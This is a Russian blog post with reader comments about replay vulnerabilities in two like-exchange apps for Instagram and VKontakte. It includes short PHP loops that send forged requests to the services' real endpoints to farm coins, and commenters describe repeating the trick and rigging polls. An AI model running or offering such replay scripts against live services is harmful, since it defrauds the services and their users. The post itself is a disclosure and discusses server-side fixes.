Сегодня днем я заметил, что мой одногруппник скучно кликал по дисплею. Подойдя ближе, я увидел, что он выполняет задания, чтобы заработать баллы и на них накрутить себе лайки в Instagram. Мне эта идея показалась очень бредовой. Вечером, когда я пришел домой, решил подробнее рассмотреть эти приложения с заданиями и скачал парочку на свой iPhone.

«Бесконечные» лайки в Instagram


Первое приложение, которое я скачал, называется «GetLikes».

image

Я запустил на компьютере Charles, чтобы отследить запросы приложения. Поставил лайк и приложение отправило интересный POST запрос, который я смог перехватить благодаря тому, что в этом приложение данные передавались по протоколу HTTP в незашифрованном виде.

image

hash — наш токен, который обновляется при авторизации в приложении;
media — номер изображения, которому мы поставили лайк;
answer — ответ от сервера instagram (поставили ли мы лайк или нет?).

Мне стало интересно, а что если отправить этот запрос несколько раз? Я отправил и… Эврика! Мой счёт пополнился на 1 монету, хотя я не ставил лайк.

Я написал маленький скрипт на php и попробовал накрутить 100 монет и они успешно были зачислены.

<?
	function postData($url, $data){
  	$curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl, CURLOPT_POST, true);
	curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    $out = curl_exec($curl);
    curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
    curl_close($curl);
    return $out;
}
$i = 0;
$hash = "ваш_хэш";
$media = "фотография_которую_вы_лайкнули";
while ($i < 100){
postData('http://www.multiliker.com/service/like2/', 'hash='.$hash.'&media='.$media.'&answer={"status":"ok"}');
$i++;
}

?>

PS: актуальная. Об уязвимости сообщил, но меня послали куда подальше и сказали, что у них безопасный сервис.

«Бесконечные» лайки во ВКонтакте


Вы наверняка слышали про такие сервисы как Likest, Turboliker и т.д. Я нашел приложение, которое также за выполнение заданий даёт монетки, которые можно потратить на получение лайков/репостов/подписчиков. Я проанализировал трафик, который отправляет приложение и опять нашёл очень интересную деталь (да, здесь тоже было незашифрованное подключение).

image

Рассмотрим параметры:
task_id — номер задания. (нужный нам параметр в дальнейшем);
user_id — id нашего аккаунта ВК;
cost — стоимость выполнения задания;
group_id — id группы, на которую подписались.

Естественно, я попробовал повторить этот запрос, но изменить параметр cost в большую сторону, но это ничего мне не дало. Тогда я вернул его к дефектному значению — 2. Затем я изменил параметр task_id. И что вы думаете? На мой счёт успешно зачислились заветные две монеты.

Я написал маленький скрипт и запустил.

<?
$i = 1;
$id = ваш_id;
while ($i < 100){
file_get_contents("http://anylike.ru/ios/tasks.update.1.7?task_id=".$i."&user_id=".$id."&cost=2&group_id=95172440");
$i++;
}
?>

надо было юзать curl

Монеты успешно зачислились на мой счёт. Тут отдельно стоит поговорить о халатности сотрудников, работающих на этом сайте. На их сайте: anylike.ru был всего один контакт. Я обратился, описал уязвимость, но ответ меня очень удивил:

image
image

PS: на данный момент уязвимость исправлена.

Вывод


Что хочется сказать? Разработчики, шифруйте отправляемый трафик и все запросы, чтобы злоумышленники не могли получить доступ к приватным данным.

Комментарии (33)


  1. nsinreal
    25.06.2015 14:35
    +14

    Что хочется сказать? Разработчики, шифруйте отправляемый трафик и все запросы, чтобы злоумышленники не могли получить доступ к приватным данным.

    Эмм. Вы перехватываете траффик на локальном компьютере, а значит вы можете поставить поддельный SSL сертификат и все равно перехватывать траффик.


    1. VasiliyIsaichkin
      25.06.2015 14:36
      +1

      Ну со стороны клиента можно проверять отпечаток сертификата, можно использовать свое шифрование, много чего можно сделать.


      1. bogus92
        25.06.2015 14:47
        +5

        Или просто делать сервер более защищенным. Как не шифруй траффик — локально почти наверняка его можно будет расшифровать, поэтому такие проблемы однозначно должны решаться на сервере.


        1. VasiliyIsaichkin
          25.06.2015 14:55
          -1

          Что вы имеете в виду под «Или просто делать сервер более защищенным»?
          Если грамотно использовать ассиметричное шифрование или готовую реализацию HTTPS/TLS с проверкой отпечатка сертификата сервера, перехватить ничего не получится, для расшифровки трафика у вас нет серверного ключа.
          Другой вопрос что тогда можно раздербанить саму софтину, но тут уже другая история совсем.


          1. bogus92
            25.06.2015 15:07

            Я имею ввиду, что нельзя на сервере оставлять такие баги, уж тем более, когда о них разработчикам известно (по их словам). Да и даже, когда не известно — такие вещи еще при проектировании продумываются обычно.


            1. vedenin1980
              25.06.2015 15:20
              +4

              Это не баги, это фичи.


            1. VasiliyIsaichkin
              25.06.2015 15:46

              Это не является багом — все же работает, никаких ошибок нет. Это — уязвимость (в данном случае дизайна протокола связи)


              1. Zibx
                25.06.2015 16:26
                +1

                Это является багом. Нужно передавать токен задания и помечать его на сервере как выполненное. Тогда можно будет накрутить один лайк на одном задании. Выдачу заданий юзеру лимитировать по времени максимальной скорости лайканья. Это хотя бы. В идеале же — проверять что лайк действительно стоит, а только потом зачислять монетку.


                1. andyN
                  25.06.2015 22:47
                  +1

                  Вероятно, человек имел в виду, что в его представлении «баг» — это ошибка, которая мешает обычным рядовым пользователям программы. Т.е. уязвимость != баг. Как-то так.


          1. BeLove
            25.06.2015 18:20
            +3

            Все получится, существуют разные способы обхода certificate / ssl pinning.


      1. vedenin1980
        25.06.2015 15:04
        +14

        Бессмысленно, главное правило: всегда строй работу сервера так что клиент уже взломан, разобран и изучен злоумышленником.

        На самом деле, открою вам страшную тайну никто эту «уязвимость» закрывать не будет, потому что ваши скриптовые клики принесут им такой же доход как и обыкновенные, а потом когда у вас на счету накопиться достаточно средств, они тупо вас забанят за использование скриптов. В результате у них доход от рекламы, у вас дырка от бублика. А в случае жалоб рекламодателя, они сделают удивленные глаза и скажут это вон тот Вася виноват, мы ни причем и его уже забанили. Профит.


        1. masterL
          25.06.2015 17:26
          +1

          «потому что ваши скриптовые клики принесут им такой же доход как и обыкновенные»
          Все же нет. Автор же не делает никаких скриптовых кликов — он на сервер программы отправляет данные «как-будто бы» он сделал клик, но не делает его.


          1. CCgames
            25.06.2015 21:59

            да, но у того человека, который создал задание деньги снимутся. вот и профит


            1. masterL
              26.06.2015 00:56

              Довольно странный профит — лайки заказаны, деньги сняты — но не поставлены, с таким же успехом сам разработчик приложения может снимать деньги у пользователей и ничего не делать.


              1. stardust_kid
                26.06.2015 14:37
                +1

                Звучит как бизнес-план.


  1. impwx
    25.06.2015 14:36
    +61

    Мы знаем обо всех багах, они не закрыты намеренно. Если бы мы не знали о них, мы бы не смогли так быстро их закрывать.
    Что я только что прочитал?


    1. Assargin
      25.06.2015 14:57
      +45

      А не все могут так быстро закрывать баги. Вернее, закрывать могут не только лишь все, а только те, о которых мы знаем. Мало, кто может это делать.


      1. achekalin
        25.06.2015 17:41
        +1

        Вы как руководитель выпускающей кафедры в моем ВУЗе сейчас написали. Он тоже такие телеги толкал, что, подозреваю, на ученых советах никто его не мог поймать на слове, боясь показаться идиотом, что ничего не понял в высокоумной беседе.

        Уф, как в прошлое нырнул. Хорошо, что такие «ученые» беседы уже позади )))


        1. ange007
          25.06.2015 18:20
          +4

          На самом деле было просто перефразировано высказывание нынешнего мэра Киева :)
          www.youtube.com/watch?v=YSsKw8gRVlY


    1. Rondo
      25.06.2015 14:58
      +3

      Мы знаем обо всех багах, они не закрыты намеренно.
      «баги почти пофикшены, идут последние интеграционные тесты»
      Если бы мы не знали о них, мы бы не смогли так быстро их закрывать.
      «на фикс таких багов уходит несколько недель, а так как мы его пофиксим завтра, это значит, что мы его уже несколько недель фиксим»


    1. vedenin1980
      25.06.2015 15:08

      Перевожу. Баги не закрыты намерено, чтобы некоторые товарищи (не будем показывать пальцем) писали вместо нас скрипты для кликанья рекламы и делали нам деньги, а мы будем белые и пушистые в случае чего.


      1. impwx
        25.06.2015 15:20
        +1

        Так вроде же наоборот, автор поста получил нечто вроде бесплатного купона на 100 лайков, не выполняя требуемой работы. Какая выгода от этого сайту-продавцу?


        1. vedenin1980
          25.06.2015 15:37
          -4

          Ну а в чем работа? Эти сервисы берут деньги за накрутку лайков, соответственно, если автору удалось накрутить лайки с помощью своего скрипта, он принес им такой же доход, как и обычный пользователь кликающий вручную. Если не удалось, то потом его забанят. Какие проблемы-то?


          1. impwx
            25.06.2015 16:05
            +5

            Если я правильно понимаю суть сервиса, то он предлагает реальным пользователям ставить лайки в обмен на «монетки», за которые можно потом заставить других пользователей поставить лайки тебе. Автор поста сфабриковал сообщения о том, что проделал некую работу, и получил за это вознаграждение, однако никаких лайков он на самом деле не ставил. Система осталась ему должна.

            Представим, что администраторы не уследили и автор нагенерил бы таким образом не 100, а миллиард монет, и тут же их потратил. В таком случае он перехватит всю мощность сети и лайки будут выставляться исключительно ему, а честные пользователи останутся необслуженными. Какой из этого может быть профит системе?


            1. vedenin1980
              25.06.2015 16:27
              -1

              Да, я уже понял, только вопрос именно в том что *ЕСЛИ* бы автор сумел нагенерить миллиард монет и главное суметь их все потратить, так чтобы его не забанили. С вероятностью близкой к единицы его забанят намного раньше, чем он что-то поимеет от этого.


              1. Temirkhan
                25.06.2015 19:11

                Если Вы перечитаете статью, то поймете сразу две вещи:
                1) вы запомнили только заголовок статьи
                2) на хабре нет способов для неправомерных действо — только информация о том, какими они бывают и как этого избежать


            1. edogs
              25.06.2015 20:56
              +5

              Представим, что администраторы не уследили и автор нагенерил бы таким образом не 100, а миллиард монет, и тут же их потратил. В таком случае он перехватит всю мощность сети и лайки будут выставляться исключительно ему, а честные пользователи останутся необслуженными. Какой из этого может быть профит системе?
              Представить-то можно что угодно.
              Скажем из своего опыта. Разрабатывали в чем-то аналогичный сервис (не лайки, но тоже социальные замуты). В ТЗ заказчика специально было прописано оставление нескольких дыр.
              Аргументация была простая — не будет наживки — не будет рыбы. Тот с чьего аккаунта использовался баг — ставился на карандаш, отслеживались внимательно все остальные его действия. По мелочи даже реальные деньги выплачивались, если человек не слишком борзел с накрутками. В общем мелкие культурные читеры — пусть себе живут, лучше контроллировать процесс и иметь сбалансированную экосистему.
              Потом правда создатели сервиса эти «дыры» стали продавать на всяких хакер.ру, из расчета что продадут дыру за 500 баксов, а накрутят по ней дай бог на 50 и потом бан накрутчику. Но это уже так, нюансы.


            1. Archon
              26.06.2015 08:55

              Нет, суть сервиса не совсем в этом. Система никому ничего никогда не должна. Это закрытая экономика, содержащая одинаковое количество «монет». Если кто-то вкладывает реальные деньги, количество монет в системе прибывает. Ну а дальше эти монеты просто перекидываются между теми, кому надо лайки, и теми, кому надо монеты.

              Что получается, если мы покрутили себе монеты скриптом? У нас монет становится больше, у других участников — меньше. Предположим, что разработчики всё-таки не совсем идиоты, и как только мы попробуем разместить свой заказ, нас забанят, потому что мы крутили их скриптом, и общее количество монет в системе уменьшится. Ставка за один лайк фиксирована и дефляция цен невозможна, что при неизменном спросе означает, что рано или поздно произойдёт вливание новых монет за реальные деньги.

              Вывод: такие дырки очень даже полезны, и являются механизмами регулирования экономики во имя профита владельцев сервиса.


  1. nE0
    25.06.2015 22:06

    Похоже это носит массовый характер.
    Хоть никогда и не занимался подобным, успешно повторил на +GetsLikes+ на Андроид.
    Вообще это отличный туториал!


    1. nE0
      25.06.2015 23:20

      InstaLike для Андроид страдает от той же проблемы, только там стоит ограничение на 100 лайков в час со стороны сервера.


  1. zoonman
    26.06.2015 01:14

    Из правил оказания услуг разработчикам приложений Instagram:

    You shall not: Participate in any «like», «share», «comment», or «follower» exchange programs.

    На русском
    Вы не должны участвовать в любых программах по обмену лайками, комментариями и т.п.

    Т.е. во всех подобных приложениях идет прямое нарушение правил и они частенько банятся пачками.


  1. Gordon01
    26.06.2015 07:38

    а зачем скрипт на php? Charles отлично повторяет запросы сколько надо раз. Пользуюсь для накрутки голосований, часто они такие же дырявые. Раньше для накрутки приходилось использовать всякие баннерокликеры со списками проксей, щас же быдлокодеры вообще ничего не проверяют.


  1. Vladek
    29.06.2015 04:23
    -2

    Ничего не понял вообще. Зачем нужны лайки и монеты?